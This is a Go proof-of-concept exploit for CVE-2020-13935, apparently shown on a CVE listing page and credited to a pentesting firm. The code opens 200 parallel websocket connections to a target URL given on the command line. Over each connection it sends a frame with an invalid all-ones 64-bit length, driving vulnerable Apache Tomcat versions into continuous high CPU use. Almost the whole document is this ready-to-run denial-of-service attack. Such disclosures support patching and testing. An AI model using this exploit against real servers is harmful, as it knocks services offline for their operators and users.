4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
/****************************************
 *                                      *
 *  RedTeam Pentesting GmbH             *
 *  [email protected]       *
 *  https://www.redteam-pentesting.de/  *
 *                                      *
 ****************************************/

package main

import (
	"bytes"
	"fmt"
	"os"
	"sync"
	"time"

	"github.com/gorilla/websocket"
)

// CVE-2020-13935
//
// this program exploits a bug in tomcat which leads to continuous,
// high cpu usage if all bits of the length field of a websocket message
// are set to 1.
//
// Affected Versions:
// 10.0.0-M1 to 10.0.0-M6
// 9.0.0.M1 to 9.0.36
// 8.5.0 to 8.5.56
// 8.0.1 to 8.0.53
// 7.0.27 to 7.0.104
//
// see:
// https://bz.apache.org/bugzilla/show_bug.cgi?id=64563
// https://access.redhat.com/security/cve/CVE-2020-13935

func main() {
	if err := run(); err != nil {
		fmt.Fprintln(os.Stderr, err)
	}
}

func sendInvalidWebSocketMessage(url string) error {
	ws, _, err := websocket.DefaultDialer.Dial(url, nil)

	if err != nil {
		return fmt.Errorf("dial: %s", err)
	}

	// +-+-+-+-+-------+-+-------------+-------------------------------+
	//  0                   1                   2                   3
	//  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
	// +-+-+-+-+-------+-+-------------+-------------------------------+
	// |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
	// |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
	// |N|V|V|V|       |S|             |   (if payload len==126/127)   |
	// | |1|2|3|       |K|             |                               |
	// +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
	// |     Extended payload length continued, if payload len == 127  |
	// + - - - - - - - - - - - - - - - +-------------------------------+
	// |                               | Masking-key, if MASK set to 1 |
	// +-------------------------------+-------------------------------+
	// | Masking-key (continued)       |          Payload Data         |
	// +-------------------------------- - - - - - - - - - - - - - - - +
	// :                     Payload Data continued ...                :
	// + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
	// |                     Payload Data continued ...                |
	// +---------------------------------------------------------------+

	var buf bytes.Buffer

	fin := 1
	rsv1 := 0
	rsv2 := 0
	rsv3 := 0
	opcode := websocket.TextMessage

	buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

	// always set the mask bit
	// indicate 64 bit message length
	buf.WriteByte(byte(1<<7 | 0b1111111))

	// set msb to 1, violating the spec and triggering the bug
	buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

	// 4 byte masking key
	// leave zeros for now, so we do not need to mask
	maskingKey := []byte{0, 0, 0, 0}
	buf.Write(maskingKey)

	// write an incomplete message
	buf.WriteString("test")

	_, err = ws.UnderlyingConn().Write(buf.Bytes())
	if err != nil {
		return fmt.Errorf("write: %s", err)
	}

	// keep the websocket connection open for some time
	time.Sleep(30 * time.Second)

	return nil
}

func run() error {
	if len(os.Args) != 2 {
		return fmt.Errorf("usage: %s target_url", os.Args[0])
	}

	targetURL := os.Args[1]

	var wg sync.WaitGroup

	for i := 0; i < 200; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()

			if err := sendInvalidWebSocketMessage(targetURL); err != nil {
				fmt.Println(err)
			}
		}()
	}

	wg.Wait()

	return nil
}